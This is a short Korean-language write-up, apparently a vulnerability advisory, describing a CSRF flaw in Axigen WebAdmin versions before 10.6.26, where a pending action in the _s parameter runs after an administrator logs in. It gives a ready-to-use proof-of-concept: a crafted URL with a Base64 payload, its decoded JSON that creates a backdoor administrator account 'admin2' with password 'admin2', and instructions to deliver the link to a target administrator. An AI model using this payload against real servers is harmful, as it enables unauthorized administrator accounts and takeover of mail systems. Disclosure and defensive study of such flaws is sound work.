
Axigen WebAdmin CSRF 취약점
Axigen WebAdmin 인터페이스의 중요한 상태 변경 작업은 GET 요청을 통해 접근할 수 있습니다. _h 토큰은 직접적인 CSRF를 방지하지만, 애플리케이션은 사용자가 인증한 직후 _s(breadcrumb) 매개변수를 통해 대기 중인 요청을 처리합니다.
공격자는 _s 매개변수에 Base64로 인코딩된 페이로드가 포함된 URL을 제작할 수 있습니다. 관리자가 이 링크를 클릭하고 로그인 과정을 완료하면, 대기 중인 작업이 관리자의 컨텍스트에서 자동으로 실행됩니다.
영향받는 버전: < 10.6.26
자세한 내용은 Axigen Knowledge Base를 참조하십시오.
대상 URL:
https://{axigen-domain}:9443/?_h=invalid&_s=eyJwYWdlIjoiYXVzciIsInBhcmFtcyI6eyJhY3Rpb24iOiJhZGQiLCAidXNlcm5hbWVfaW5wdXQiOiJhZG1pbjIiLCAicGFzc3dvcmRfaW5wdXQiOiJhZG1pbjIiLCAiZGlzcGxheV9uYW1lX2lucHV0IjoiYWRtaW4yIn19
디코딩된 페이로드(_s 매개변수):
{"page":"ausr","params":{"action":"add", "username_input":"admin2", "password_input":"admin2", "display_name_input":"admin2"}}
_s 매개변수 값을 교체하고 대상 관리자에게 전달합니다.admin2 계정이 생성되거나(또는 사용자 지정 작업이 실행됩니다).